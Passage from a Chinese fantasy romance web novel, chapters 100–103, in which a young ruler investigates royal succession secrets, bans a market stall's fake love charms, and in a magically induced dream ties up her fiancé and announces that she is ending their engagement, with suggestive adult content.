但米迦尔没给她继续揣测自己想法的空隙,他再度剥夺了她的注意力。 不再有问题,也不再有审讯,只有无止境的浪潮一层层拍打海岸。 米迦尔想,就这点而言,他和弟弟有共同之处。 ——面对不想听到的答案,他们都是宁愿把硬币抛出去,并暗中祈祷它迟些落下的人 米迦尔端来热茶,是煮沸后冷却到适口温度的茶水。 看样子他将自己醒来的时间把握得刚刚好。 两人就着氤氲的茶香聊了一会,他没有问那些艾米会觉得难以回答的问题,就好像刚才发生的一切只是一场没有任何用意的按摩,一场信徒的告解。而他也确确实实地,正在为艾米刚才提到的那些烦恼,提出自己的意见。 教堂可以帮忙收纳一部分暂时没有房子和工作的流民;有一批年纪比较大的学生算术和识字都学得很好,也许领主小姐可以将他们使用起来,只需要一份通用的手册,这些人就可以尽快上手一些需要门槛的工作;又或者在护卫队外组建民兵队的提议,这些人从镇民中挑选,不需要太久的训练,就可以缓解她的部分压力。 全是很实用的建议。 艾米浅啜热茶,忽然意识到自己醒来时感受到的、类似黄昏的味道到底是什么。 那是温度下降,而泪水附着于痛苦之上凝结的味道。 ——它来自于耐心聆听信徒的告解、为他们提供属灵指导,却对自己的痛苦无能为力的米迦尔。 第100章 第100章(已修结尾)最终因为…… 雷尔夫在丰收节之前回来了。 老实说,这是艾米最近这段时间最开心的事。 她太忙了,现在的状态和她之前想的完全不同。 就在一年之前,她还可以有精力为十枚金币的结余重新做一遍预算表,但现在,只有超过五十枚金币以上的审批会放在她的书桌上。 可即使这样,事情还是多得做不完。原来经营城镇并不像游戏里那样,只需要点点就能提高数值,她面对的是一个个活生生的人,和一件件活生生的事,并没有一个按钮能让她自动完成日常,也没有一个招募系统能让她看到候选者的属性,将TA选中然后放在适合的岗位上。 有时候她会疑惑别的领主是怎么做的,那些大贵族们看起来每天都在喝酒和跳舞,根本不会考虑‘工作’这件事。但她很快调整了心态,自己不能跟他们比,学坏是很快的,所以参考对象也不能找糟糕的人选。 这种时候,艾米会想起洛克知道她总是在书房度过大段时间后的微妙表情,混合着惊讶和困惑。大概对于他来说说,也很少见过这样生活状态的领主吧?但必须承认的是,他确实教会了自己许多,尤其在如何保护自己的金币这方面。现在,护卫队扩充到了之前三倍的人数,并且装备精良,训练有素。 她决心薅羊毛薅到底。所以每当有什么觉得的棘手的问题,就会写信问问公爵大人的意见,当然,为了尽快被退婚,她也在信中暗示自己和前任国王毫无血缘关系,大方邀请公爵大人用他能想到的一切办法或者魔法手段,来验证这点。 现在,雷尔夫是唯一一个知道洛克身份的人。 她将自己知道的一切都告诉了他。 他正在消化和咀嚼这些。在这个几近封闭的世界里,探寻快二十年前的事情变得极度困难,更何况洛克将过去的事情掩盖得很好,有时候他甚至将自己都骗过去了。 “小姐,您还记得,我提到过的先祖画廊吗?” 艾米点点头,在王城的时候,雷尔夫曾经闯进去过,还因此受了伤。 “那里同时也是王室用来检验血脉的地方。”他说,“如果你并非有继承权的后人,就会被先祖限制拦下。执意进入的话就会像我一样,要费一点功夫。” 艾米没明白他的意思。 “我不觉得洛克公爵是鲁莽的性格,恰恰相反,他是我见过少有的谨慎的人。”雷尔夫认真地说,“当然,我也并不认为您会草率地确定自己的身世。” “既然您十分笃定自己并不是妮可拉王后的女儿,那么一定还有别的线索,能证明你是拥有继承权的王室后人。我相信洛克公爵一定验证过这一点。” 看到小姐若有所思的神色,雷尔夫继续说道:“另外,关于克莱恩先生的预言,我想有件事您应当需要知道,国王为自己挑选御前学士的时候,会亲自接待每一位候选人。其中,占星术士的挑选最困难,国王有时甚至会多花一段时间来考察他们,因此会出现几位占星术士同时任职的情况。” “在您提及此时后尽管和前任国王相关的事情很难打探,但我还是想办法得知了一些事情。” “克莱恩先生没有竞争者,他直接就从学塔进入了御前,靠的就是这个预言。” 雷尔夫深深地看着她。 “我怀疑这并不是预言。” “这可能是个事实,小姐。” 事实? 国王有一个健康强壮的男孩?这也是很有可能的事情,一个不为人知的私生子。 “小姐,既然您说您的未婚夫并不是真的派恩公爵的儿子,那这一切就说得通了。” 雷尔夫的语气带着自嘲,“他不知道,所有大贵族的后代,需要学习的第一件事,就是关于血统和继承权的内容,想必因为逃了这一课,所以公爵大人的认知是存在某些误区的。” 确实如此,这种隐秘的潜规则和手段,即使艾米也并不知情。 “二十年前,马克西米殿下顺利即位,王城有长达半年的戒严期,无数关于兄终弟及的秘密传闻在北岸的平民间流传。” “南岸却一片静默。” 艾米微微抬眸,她似乎明白了雷尔夫的言外之意。十九年前奥利维亚夫人的宴会上,宾客们心照不宣地不谈及任何关于新国王的事情,并不是因为恐惧和害怕,而是因为体面。他们觉得只有平民和没有底蕴的小贵族才会表现得这么没见识。 雷尔夫看到小姐的表情,点点头:“这意味着,马克西米国王在继承权上,是毫无争议的。或者说,大家知道,没 有其他人顺位高于他的继承人出现了。” “私生子是没有太大价值的,相信我,我比其他人更懂得这点。”他温和地笑了笑,并不十分在意,“占星术士和国王都明白这一点,预言的孩子,一定会默认是有继承权的孩子,如果占星术士无法确认的话,那他的预言就仅仅是上不来台面的、不值得称之为‘预言’的妄言而已。” 艾米恍然。 “这才克莱恩先生创造这个谎言最精妙的地方。它有一半是真的,最能卖得上价格的那一半,也就是关于继承权的那部分;但又有一半是假的,是最危险的那一半,也是国王会容忍克莱恩先生带着你回到乡下的那半。” 没错,父亲获得了领地,抚养自己长大,最后因病去世,这一切都是在国王的默许下完成的,而艾米觉得,世界上应当没有统治者能仁慈到放任能威胁到自己位子的人活着。 雷尔夫露出些许欲言又止的模样。 “你还有什么想说的吗?”艾米问。 “您不好奇克莱恩先生的预言吗?我记得您很喜欢和罗莎聊这些。” 好奇,当然好奇,但她并不知道更多线索了。 “怎么会呢?您还是不明白我说的意思吗?” 在雷尔夫看来,他铺垫了这么多,几乎就将答案呈在了小姐的面前,“虽然这种事情确实不怎么体面,但是在贵族间也不算是特别稀奇的事情。比如纳维公爵,他曾有个情妇是和自己有血缘关系的姑姑,他们甚至还有个孩子。” 艾米茫然地扇动着长睫,透着缺乏想象力的困惑。 “马克西米很可能并不是路德维希国王的弟弟,而是他的儿子。马克西米的生母,是前任国王的第四任妻子,仅仅比路德维希大三岁而已。” “一个健康的男孩,也是继承人和继承人的妻子结合下生出的孩子——当然,这两任继承人略微有些错位,但它保证了马克西米的合法性。” 艾米缓缓睁大眼睛。 不是,你们贵族们就这么胡乱搞来搞去,完全不在乎影响的吗? 但紧接着,她想到雷尔夫名义上的生父,纳维公爵所拥有的上百个孩子,又觉得这件事似乎也没有这么难以置信。 可怜的埃克森,他一定想不到,自己最终是因为不够变态而导致计划出现了纰漏。 “你说的对,洛克并不是鲁莽的人。”艾米重复着,“但他在和我结婚这件事上显得非常冲动。” 雷尔夫的表情忽然变得十分严肃。 “小姐,这正是我坚持不通过任何魔法手段传输的文字,一定要当面告诉你的事情。” “曜石矿正在消失。”他顿了顿,试图用更精准的词语来解释这一切,“不是枯竭,也不是开采殆尽是消失。” “小姐,我不知道发生了什么。但那些神奇的黑色石头,正在矿洞的墙壁间逐渐消失。” 艾米觉着这个消息比国王和继母乱搞更加劲爆- 对于洛克来说,收到未婚妻的信变成一件非常值得期待的事情,尤其在看她用漂亮的辞藻来包裹自己的实际用意的时候,最为有趣。 她越想结束掉这段婚约,洛克就越不想让她如愿。 如此几次后,艾米甚至几近直白地说自己出生在十八年前的夏天,绝无可能和前任国王的夭折女儿有半毛钱的关系。 “您值得更尊贵的女性成为您的妻子,比如公主,而我只是一个没什么见识的乡下姑娘。” 洛克饶有兴致地回复。 “而我恰好喜欢乡下姑娘,尤其是没见识的那种。比起经过细致工艺流程制作的饰品,其实刚开采出来的原石更闪耀美丽。” 他猜测她应当看过奥多芙写给自己的信,只有这种不重要的文书才会被他随手留在庄园的书房里。 这是一种在意的表现吗?不管是不是,洛克都觉得应当对她的这种行为做出‘嘉奖’,来鼓励她再多去翻一翻自己的房间。 于是他又寄去了一堆新的、姑娘们应该会喜欢的漂亮的宝石。 下个月是托利亚的丰收节,这是北境的小镇常过的节日,一群人聚在一起,评选谁种出的南瓜更大,或者谁家的母鸡下了最茁壮坚硬的鸡蛋。但自己的未婚妻却对此十分在意,在自己临走之前,镇子的主干道上就支起了一个拱门造型的藤蔓,据说等到丰收节开幕的时候,上面会长满玫紫色的蔷薇。 她常常有些奇思妙想,比如养殖银狼来获取皮毛,或者在斜坡上修建滑轨方便运货,又或者是像这样提前一个月种下能长满拱门的蔷薇。尽管这些在洛克看来都是没什么意义的事情,但他愿意接受妻子的这些无伤大雅的爱好。 只是,她是火彩明艳切面耀眼的漂亮主石,应当镶嵌在最显赫的冠冕上,被所有名贵的宝石簇拥、环绕。 而不是和不懂得欣赏的平民混在一起。 不过没关系。 早晚有一天,她会自己想明白这件事。 洛克想,她既然分得清宝石的成色,也自然会分得清谁献给她的礼物才最昂贵。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 100-110 第101章 第101章爱情的魔法 艾米和米迦尔悄无声息地‘和好’了。 这么说来有点怪,毕竟之前他们也不能算吵架。总之,她恢复了之前会路过教堂找他喝茶聊天的日常。 不得不说,教堂确实承担了她的很多压力,尤其是托利亚的人越来越多了以后,信仰不仅能给人力量,更妙的是,它会无形中督促人民的道德水平的提升。 “神在注视着你”比“领主大人在注视着你”听起来更有威慑力,在领主大人还没发明出摄像头之前,只能蹭一蹭光明神的热度了。得益于此,犯罪和偷窃事件并没有因为外来人口变多而增加,配合增加的护卫队巡逻,前段时间的小规模混乱也逐渐平息。 随着丰收节将近,一种更为蓬勃的欣欣向荣氛围笼罩在这片土地上,蔷薇爬满了拱门,广场上开始形成集市的雏形,因为外地人的到来,一些当地人没见过的新鲜商品也开始出现在小镇里。 “这是什么?”艾米好奇地拿起摊子上一只用细棉线编织而成却唯独缺了眼睛的、巴掌大的娃娃。 摊主是个上了年纪的老太太,她一开口说话就会露出残缺的门牙,这让她的声音听起来有点漏风。 “这是交感娃娃,小姐,您只需要将目标人物的头发或私人用品和娃娃建立联系,就可以通过它对您爱的人施加影响。” 罗莎在一旁皱了皱眉头,这种擦边黑魔法的巫蛊术在南境很流行,虽然绝大部分是假的,但夹杂着小部分是真的可能。 艾米又拿起旁边一瓶塞满了花瓣的淡粉色玻璃瓶。 “这个呢?” “这是爱情药水,小姐,往您喜欢的男人身上倒上一点吧,他会立刻对您产生爱欲。” “这些银色的铁片又是什么?” “爱情符咒。您可以放在爱人的枕头下,那么他会永远和您绑定在一起,至死也不分离。” 艾米露出沉思的表情,她靠近摊主,压低声音询问。 “还有没有,别的,你懂的,我想要一些更直接能起效的。” 牙齿漏风的老太太眯起眼睛。 她知道面 前这位小姐是大人物,看来即使是领主小姐,也有爱而不得的男人,会主动在自己的“爱情魔法”小摊上驻足。 “小姐,不知您想要起什么样的效用呢?” “我想要他对我言听计从,我让他做什么就做什么。” 老太太皱起眉头,一副城府很深的模样:“这很困难但并不是不可能仪式会更复杂,不过如果您想要的话,我会为您做前期的准备。” “那我如果还想要他深深地爱上我,愿意为我献出一切呢?” “您运气真好。原本这是不可能实现的,但就在上个月,我无意间获得了一点魅魔的血液,制作了加强版的爱情符咒,不过这个价格很贵,恐怕要这个数字。” 她悄悄比划了一个数字。 “二十金币?” “二百。” 罗莎倒吸一口气。 这摊主也太黑心了,她上前半步,想拦住小姐。 “嘶——这么贵,没有效果可怎么办呀。”艾米苦恼的样子。 “绝对有效,小姐,您只管放心。” 艾米又指了指自己刚才看过的那些东西:“这些加一起多少钱?” “三十、四十、二十五” “原本应该一百五的,但如果您全都想要,可以便宜点一百二卖给您。” “也是全部保证有效?” “当然。”老太太脸上的褶皱加重,嘴角掩不住上扬。 “加在一起要三百二十金币?” “是这样的,小姐。” 艾米点点头,“罗莎,喊集市巡逻的士兵来。” 摊主惊讶极了,立刻大喊大叫,“您不能这样!小姐!您是领主小姐,您不能因为价格昂贵就这样对待我这样一个可怜的老人!您这是抢劫,小姐,您是体面的小姐,不应该这样!” 周围摊贩的目光都聚集了过来,艾米不说话,直到两位士兵出现。 “杰夫。”她喊了其中一个人的名字,“集市有限制售卖商品的种类吗?” 杰夫低垂下头,恭敬地答复。 “没有,小姐。” “那么现在加上这一条,禁止一切巫蛊和黑魔法相关物品的售卖。”艾米冷冷地说,“我记得黑魔法在北境似乎是违法的,把她带走吧。” 老太太有点蔫了,她嘴唇轻颤:“小姐,我必须向您忏悔,这只是一些好闻的香水和漂亮的徽章,绝对和黑魔法没有半分关系。” “可你刚才说一定有效,要不然也不会卖这么贵。” “假的,这全是假的。” “哦?”艾米好整以暇地看着她,“那你现在说说,这些需要多少钱。” “如果您想要的话,我将全部赠送给您。” “不不不。”艾米摇头,“我不是来打劫的,我是来逛街的,你必须定个售价,而不能在我离开后用更高的价格卖给其他人。” 老太太布满褶皱的脸试探性地问,“二十?” 艾米点头,如果仅仅是卖一些小情侣间用做纪念的漂亮铁片或者是香水,这也算是个中肯的价格。 “罗莎,数二十五枚金币给她。”她示意身边的半精灵拿出钱兜,然后继续转向老太太,笑眯眯地说,“如果这些东西是假的,你的摊位要换一个名字;可如果是真的” “假的,全都是假的。”老太太着急死了,她大半辈子都在不同的城镇兜售这种假的巫蛊术娃娃,这还是第一次碰上硬茬。 “好了,杰夫,去忙吧。”艾米挥挥手,“记得加上新的规定,贴在布告栏最显眼的地方。” 杰夫向领主小姐行了个礼退下了,罗莎提着小姐刚才买的一堆东西,边走边说:“小姐,你心平气和地挨个询问她摊位上东西价格的时候,我差点以为你被什么别的存在夺取了灵魂。” 艾米也露出了几分古怪的神色;“是吧?说实话,我还是第一次在自己的领地上被当成冤大头骗呢。” “卖这种东西的小摊贩在南境很多,他们就算是真的也不敢开口要这个金币数。”罗莎不满地撇撇嘴,“估计她也是觉得北境人没见过,才这么狮子大张口。” “痛苦的生活环境才会滋生这么多混乱的手段。”艾米表情严肃,“所以即使裹着一层爱情的蜜糖,我也不能看到这种东西出现在托利亚。” “你在布佛里托待过很久一段时间,应该知道没有力量和金钱的人在那里生活有多么困难。” 罗莎赞同地点了点头,她似乎并没有意识,从未去过布佛里托的小姐竟然会用这样的语气谈及那座城市。 “北境和王城也有穷人,但和布佛里托的穷人完全不同”她不知道该如何形容,因此话停在了半截。 “布佛里托的穷人面临着比死亡更大的威胁。”艾米淡淡说,“他们可以售卖和肢解自己所拥有的一切,无论是身体还是灵魂,而更可怕的是,所有人都认可这样的规则。” 这种强烈的被异化感要盛过其他任何地方,而从布佛里托回来后,艾米也对领地的管理产生了新的感悟,她终于理解为何这块贫瘠的土地长久以来仍然有这么多人愿意留在这里,也终于明白米迦尔不止一次提到托利亚时,用的是“平静”来描述——这是和混乱与疯狂相反的词语。 罗莎产生了一种淡淡的怅然,而这种怅然中又隐约带着期待。 生活了一百多年、一直热衷于寻找刺激的她,第一次在平静的小镇上寻觅到了更为高级的兴奋感。 疯狂且混乱的布佛里托也好,八卦满天飞的王城贵族也好,那些看似刺激的外表之下,是千篇一律的无聊的人性。二十年前舞会上的八卦,二十年后也一样,除了主角换了名字;而南境那些一夜暴富又一夜暴毙的传奇,更像是一种被诅咒的循环,佣兵酒吧里的故事每天都有,但主题却永恒不变。 但托利亚不一样。 这里的一切都令罗莎感到惊讶,艾米小姐的每个念头都令她觉得新奇。 原来还有这样的办法,原来还有这样的生活方式,以及原来还有这样的故事。 她总是迫不及待地想看看明天又会有怎么样的不同- 回到领主府后,艾米先去找了布利斯,他会在这里待到丰收节结束。 “魅魔的血液?”他反复打量那枚爱情符咒,皱着眉头,“除了一点能够致幻的迷心草,我没发现任何其他和魅魔有关的东西。” “你什么时候对这种东西感兴趣了?” 果然是假的,艾米放下心来,把自己刚才逛集市的事情解释给他听。 布利斯若有所思:“不过魅魔身上的一些东西确实是有魔法效用的。” 艾米好奇地看着他。 “津。夜。”他的眼眸像澄澈的湖水一样真诚,“它会让你的皮肤更好,更有弹性,也更富有光泽感。” 艾米忍住想锤他一拳的冲动。 “我的契纹又开始不舒服了。”布利斯抓着她的手放在自己坚硬的小腹上,“你有喂饱我的义务。” “五分钟就好。”对于如何榨出汁水他现在已经非常熟练,实际上,很可能五分钟都不需要。 艾米甩开他的手站起来:“你上次就是这么说的!” “抱歉,我记得当时问了你的意见才继续的。”毫无愧疚的一张英俊的脸说出这种话实在没有任何信服力。 “我还有别的事!”她面红耳赤地离开了布利斯的房间。 艾米在回去的路上看到了雷尔夫。 “稍等一下。” 为了严谨,她觉得自己有必要亲自尝试一下,才好确定这些是无害的假玩意儿。 而雷尔夫最适合。 他很有自制力,一般来说,除非艾米主动撩拨,大部分情况下,就连月圆之夜,他都能很好地克制自己的欲望。 艾米拿出玻璃瓶装的爱情药水,粉色的液体,闻起来有种劣质香水的味道。 据摊主所说,只需要倒在雷尔夫的身上,他就会对自己产生“爱欲”。结合上下文的话,艾米认为这是一种催。情水的委婉表达,因此她也认为这是这批东西里最具有危险性的那个。 她让雷尔夫伸出手,然后小心地往他掌心倒了一点,观察他的反应。 雷尔夫一脸茫然。 也许要往更核心的躯干倾倒?她示意青年低下头,然后又倒了一点到他的脖颈和领口。 “有什么感觉吗?”她又问。 雷尔夫皱着眉。 “很不舒服。” 艾米心底一 紧,不会是真有用吧? “小姐,您还记得我和您说过,我的鼻子很灵敏的事情吗?”他看起来确实很不舒服的样子,“这味道对我来说,实在有点恶心。” “它让我想起在南境做雇佣兵的糟糕回忆,那种尿骚、血腥、和尸体腐烂的恶臭味混着香水的味道。” 哦,原来是这种不舒服。 艾米揉了揉他的耳朵,略感抱歉地说:“快去洗洗吧。” 现在她还有一个交感娃娃和一枚月桂草造型、据说能让爱人永远和自己绑在一起的普通版爱情符咒。 单纯当成纪念品来看的话,这枚符咒称得上精致漂亮。 她想了想,敲了敲亚兰的房门。 “总之,虽然可能没有什么魔法效用,但你可以把它当成是礼物。”艾米讲述了自己为什么购买这东西,以及摊主宣称的关于这枚符咒的功效。 亚兰一开始很惊喜,但在听到她说没什么魔法效用的时候看上去十分遗憾。 “所以我就算每天把它放在枕头下,也不能和你永远绑在一起,至死也不能分开吗?” 艾米微顿,还是不忍心让他失望:“嗯你可以试试,巫术这种事情,有时候也说不准的。”她露出了一个鼓励的笑。 最后就只剩下那个交感娃娃了。 ‘只需要用目标对象的物品建立起联系,就能通过娃娃对他施加影响。’ 艾米回到自己的卧室,环顾一周寻找灵感,然后略带惊讶地发现。 ——这里几乎塞满了公爵大人送她的礼物。 第102章 第102章这不是协商,这是通知…… 她翻箱倒柜找了两枚粒钻——这很不容易,因为洛克送她的宝石都有点过于大了——然后钉在了娃娃眼睛的位置。 又剪掉了一根金子做的细手链,将两端微微翘起,缝在应当是嘴巴的位置 这样应该算是建立起联系了吧? 艾米安静地等了一会,期待有什么特别的变化。然而几分钟过后,面前的娃娃和之前一模一样,嘴角的弧度透着傻气。 她捏了捏娃娃的脸,又捏了捏它的手,然后忽然意识到自己的行为毫无意义。 就算要试,也要找能面对面看着的人尝试才对,否则就算产生了效果,她也不会知道 要把刚刚钉上的眼睛和嘴巴取下来,尝试换成别人的材料吗? 艾米手指放在代表眼睛的粒钻上,犹豫片刻,又松开了。 万一,她是说,万一已经建立了联系呢?这样直接取下来,好像有点太残忍了。 可就这么在卧室放着,又有点太奇怪了。 艾米想了想,最终将娃娃的脸朝下,塞进了沙发的拐角里- 晚上,艾米做了一个奇怪的梦。 大概是因为有过闯进别人梦里的体验,所以她很快辨认出洛克的出现并不是因为自己白天想到了他,而是一种魔法的产物。最重要的是,梦里的公爵大人很明显有自己的意志。 “你对我做了什么?”洛克穿着一件黑色的丝质睡袍,刚洗完澡的模样看起来比平时更冷漠一些,也许是梦里褪去了他大部分的伪装,所以他说话也更直接一些。 “我要问你对我做了什么才对。”艾米有些无语,“我为什么会出现在你的卧室,你都在做些什么乱七八糟的梦。” 她说到后面有点底气不足,因为目光扫过洛克敞开的胸口时,没忍住在块垒分明的腹肌上停留了片刻。 “小姐,我已经有十年没做过梦了。” 洛克自然也留意到她躲闪的目光,这让他忍不住觉得好笑,他没有收拢睡袍,坦荡地向未婚妻展示自己具有竞争力的一面。 “你一定做了什么。”他用肯定的语气说。 于是艾米只好将自己白天在集市的摊位里买了一堆乱七八糟东西的事情告诉了他。 洛克皱眉,“所以,你没有经过验证,就把这东西用在了我身上?” “倒也不能这么说。”艾米有点心虚,她确实认为自己挑错了试验对象,“我其实也是确认过其他东西都是没什么用的。” “哦?确认?你还找谁确认了?”洛克看上去很不满,“你不会拿着这堆东西去找布利斯了吧?” 他侧过身扣住艾米的手腕,身体压了下来,语气不善:“还需要我提醒你吗?你是已经订过婚的小姐。” 他的身体总是给人硬邦邦的感觉,实际上也确实如此。 手臂是,大腿也是。 艾米被他按在沙发的靠背上,胸口被压得有点喘不上气。 “放开我。”她艰难地说。 这是个不妙的姿势。洛克想,他应当放开她,然后搞清楚自己为什么会出现在这里。 但他做不到。 身体的反应阻止了他进一步的行动,柔软的、温暖的肌肤攫取了他的大部分注意力。 怀里是即将成为他妻子的女人。 洛克从未如此清晰地意识到这点,因此更无法松开手。 “放开我。”艾米又尝试扭动了一下,她的上身被禁锢住,因此只能拼命蹬腿,直到膝盖顶到某处,而压在她身上的男人发出闷哼。 她有点懵,一时间放弃了挣扎。 洛克将她的手腕反扣在脑后,低头含住了她的下唇,没有任何前奏地开始吮吸那块和其他地方都完全不同的皮肉,怀里的可爱的妻子开始发出呜呜的细碎声音,她的体温正在逐渐攀升,香气借由颈部的温度扩散,所有的一切都让这个绵长的吻更加美妙。 “感谢你的邀请。”他用鼻尖亲昵地碰着艾米的鼻子,大言不惭地说着。 掌心的手腕又在挣扎,但洛克没有在意。 “否则,我都不知道你这么想我。” 他含着笑意的声音像电流扫过艾米的耳朵,当男人的唇瓣又想落下的时候,她艰难地移开了脸。 “你的心跳很快,皮肤的温度也变得很高,你很喜欢。”洛克愉悦地用另外一只手抬起她的下巴,扭正她想要躲藏的脸,语气中充满安抚,“如果你想留到婚礼之后,我们可以只是亲吻,我们可以慢慢来,直到你能够完全适应夫妻间的亲密好吗?” “我才没有——邀请你。” “嘘——”男人的指腹堵住她的唇,以一种温和却不容挣脱的力量摩挲着,“亲爱的,这是你的梦,是你邀请我来你的梦里做客的。” 艾米微微愣神。 而公爵大人非常、非常、非常会抓住机会。 他紧紧地按住她的后脑勺,再度用力地吻了下去。 而艾米还在想刚才那句话。 这是她的梦,她才是梦的主人。 布利斯能在舞会的下一秒将她带到卧室,把她推倒在雕刻着兔子的四柱床上,是因为那是他的梦。 她也可以。 如果这是她的梦,那她也可以。 洛克滚烫坚硬的胸膛还压在她的身上,极具侵略性的气息令她无暇编织更具有逻辑性的转场。 艾米抬起膝盖顶了上去。 洛克额头的血管突突直跳,下一秒,周围的一切全部变了模样。 丝绒椅背用完美且柔软的弧度支撑着他的后背,两只手臂被细绳牢牢地固定在扶手上,严丝合缝的束缚让顶部的棱角磨着掌心。 ——他被绑在了一把单人椅上,在艾米的书房,他见过的那把椅子上。 他还穿着睡袍,腰间的系带在刚才亲吻时挣松了一些,因此在这个姿势下,外袍几乎是完全散开了。 艾米的膝盖仍然顶着他,只不过现在挣脱不开的人变成了他。 洛克尝试动了动手臂,却没有任何效果,他垂眸迅速掩盖了自己的不快,好整以暇地换了放松的状态。 “我同样很喜欢你主动的玩法。”他微微歪头,挑了挑眉,做出了请的表情。 艾米嫌恶地收回膝盖,换成脚踩在椅子上,居高临下地扯着他的衣带。 “公爵大人,建议你还是看清楚形势,现 在这里究竟是谁说了算。” “当然,是你说得算。” 洛克弯起唇角,微微抬起头,从下面看着未婚妻因为生气而显得鲜活漂亮的眼睛。 那眼睛停顿了片刻,像是在思考着什么。 很快,他就知道她在想什么了。 她很有技巧,因此洛克尽量不去想这技巧是怎么练习的,否则他会因为恼怒而无法享受眼下的事情。 没关系的,他想,只要结婚了就好了。 结婚后,她就会属于自己。 他会把最漂亮、最好、最昂贵的一切都送给她。 他会把城堡里的所有地方都铺上名贵的羊绒地毯,用最柔软的布料为她做衣服,在她的卧室铺上整整十二层天鹅绒床垫,将她的全身都装点上漂亮的钻石,他可以把学塔的孤本和全世界的书都为她找来,在家里为她搭建一座图书馆人是很难在享受了更奢华的生活后回到原本的环境里的,当她适应了脚下永远柔软的触感后,略微粗糙点的地面都会硌得她不舒服。 洛克的喘。息不受控地溢出喉间,他的额头渗出汗水,发丝潮湿黏腻地沾在后颈。 就在这时,艾米停下了动作。 “公爵大人。”她彻底拽开了他的外袍,手指却谨慎地不碰到他的任何裸露的皮肤,“现在告诉我,这里谁说了算?” 洛克难耐地抬起下巴,喉结滚动,轻轻笑了笑:“我还以为这个问题我已经回答过了。” “我想听你说出来。”艾米冷静地说。 “那么如你所愿,小姐,这里你说了算。” 艾米并不满意。 她轻轻拍了拍他的脸,将额前的碎发拢到后面,语气生硬:“不准笑。” “这可不是奖励。” 她用了力气,满意地看到手心的脸颊出现片刻的僵硬。 小船在海浪颠簸,第二轮浪头出现得更快,但像刚才一样,声势浩大,却突然消失。 洛克皱了皱眉,他的胸膛剧烈地起伏,手臂因为挣扎而出现了深深的红痕。 但这是艾米的梦,她不松口,自己永远也无法挣脱,即使绑住他的只是简单的绳子。 “说实话,我有点玩够了。”她站起身,居高临下地在椅子前看着他:“玩够了这种和你扮演未婚夫妻的游戏。” “仔细想想,这份婚约对我并没有任何约束,而且没有什么好处。” 洛克刚想说些什么,但紧接着艾米喊出的名字将他钉在了原地。 “埃克森。”她背着光,神色莫测,“你现在一点也不可爱。” 第三轮颠簸毫无预兆地开始,把洛克所有的话都堵了回去,他眼睁睁看着浪头从遥远的天际出现,遮天蔽日,铺天盖地,带着摧毁一切的力量。 然后再次在咫尺间消弭,就像从未出现过。 艾米全程冷冷地看着他,手背软软地擦过他胸口的汗水,然后在他的外袍上蹭了蹭。 洛克就像刚刚被拽着头发从水里提出来,头发汗湿,大口大口地呼吸,说不出任何话。 “很好,你现在终于有点猎物乖巧的样子。”艾米也穿着睡衣,但是是柔软的长衣长裤,领口只解开了两个扣子,规规整整,几乎没有露出任何多余的肌肤。 “你应该知道梦也总有醒来的时候。”洛克咬牙说道。 “不劳您费心,公爵大人。”艾米笑了笑,她俯下身凑近,眼睛和他平视,“最起码现在我说得算。” 领口晃荡着,这个角度能看到仰视时看不到的内容,洛克睫毛下意识轻颤,就立刻被惩罚地掐了一下。 “眼睛不许乱瞟。” 新的颠簸带着惩罚的意味,疼痛甚至盖过了欢愉,这已经无法称之为“享受”,而是“忍受”。 可即使是“忍受”,浪头仍然未如预料地那般落下。 洛克几乎已经说不出话来。 艾米又喊出了他之前的名字,这次他终于确定,刚才不是自己的幻听。 “埃克森,我不知道你和多少恶魔做了交易,才拥有了今天的这一切。” “但我还是想说,我真的,真的,很讨厌现在的你。” “自大、虚伪、功利。” “哦对了,还很愚蠢。” 愤怒和亢奋混合在一起,洛克感觉有一把火正在烧灼着自己,痛苦不堪。 在被允许释放的那刻,他听到了未婚妻算得上温柔的声音。 “我要退婚。” “这不是协商,这是通知。” 第103章 第103章“真不公平啊。”…… 洛克应该很生气。 他的好感度像跳楼机忽上忽下。 ——这并不是坏事,艾米已经攻略了四个角色,她很清楚目标的情绪波动总好过一潭死水的平稳。 她只是有点担心公爵大人会气到想杀了她。 幸好他现在在南境,而贫穷的托利亚也并没有传送阵这种东西,就算他怒不可遏想来拧掉自己的头,也得到丰收节后了。 艾米乐观地想,最起码她在梦里发掘了自己额外的天赋,洛克在自己手里很听话。 想到这里,她翻出了沙发角落里的娃娃,黑色的米粒钻眼睛闪着薄薄的光。 这是具有魔法效用的黑曜石,她翻来覆去看了会,还是决心把它抠掉。 不牢固的细线发出崩断的声音,两颗小小的黑色粒钻落在她的手心里,艾米顺手塞进口袋,打算拿着娃娃去集市上找昨天的摊主问个清楚。 那个牙齿漏风的老太太已经不见了踪影,大概是怕被抓住关进牢里,所以连夜跑了,原本的摊位变成了一个中年男人,他也是外地来的,现在卖一种托利亚当地没有的薄脆烤饼。 很香,艾米掏钱买了两个,并为了自己的领主形象,躲到了广场附近的教堂里才开始正式享用。 她在神官大人的卧室,把娃娃递给米迦尔检查。 “布利斯说他没有看到魔法波动的痕迹,但我确实梦到了洛克。” 年轻的神官若有所思地打量了她一眼:“或者,你是因为太焦虑了,所以梦到了他。无论怎么看,这都比南境巫术的可能性更大。” “我分得清普通的梦和魔法梦的区别,梦里的洛克有自己的意识,很明显不是我想象出来的。”艾米啃着饼说。 “哦?”男人修长的手指微微用力,娃娃的身体就陷下了一块,“你是怎么确认的?梦里他做了什么?” 应该是她做了什么,而不是他做了什么吧。想到昨晚的梦,艾米的脸开始不受控制地发热,她低下头,假装苦思冥想,实际在用吃了一半的饼掩盖自己的尴尬。 “是很难说出口的梦呢。”米迦尔语气平静,带着淡淡的冷幽默,“真是遗憾,我还以为自己能有幸成为你春梦的主角,没想到连洛克都比不上是因为没得到所以更让你期待吗?” “那不是春梦——”艾米面红耳赤,忍不住反驳,“我很确定,那是个因为某种魔法而导致的梦!” 米迦尔不紧不慢地追问:“如果你读过《梦,神明降临之处》,就应该知道,梦总是有其特殊的意义,你总要告诉我你到底梦见了什么,我才能帮助你完成属灵指导。” 神官大人温和细语,在帮助两个字上加重了读音。 多么热心肠的大人,如果不是他的身体不知何时贴了上来,将艾米圈在了怀里,这听起来就像一次认真严肃的告解。 “这可是你让我说的。”艾米心一沉,结结巴巴地开始复述昨晚的梦。 令人惊讶的是,米迦尔确实没有对梦的内容多加评判,可能是因为他作为神官已经听过太多比这更离奇的故事。 “你把洛克绑起来这其实有两个很明确的意象。”米迦尔沉吟着张口,“这代表着某种不满和束缚,你对你的婚姻不满,所以你潜意识里想要摆脱这种束缚。” 艾米原本十分笃定那不是梦、而是对方意志的入侵,现在也忍不住犯嘀咕,主要是这话听起来很有道理。 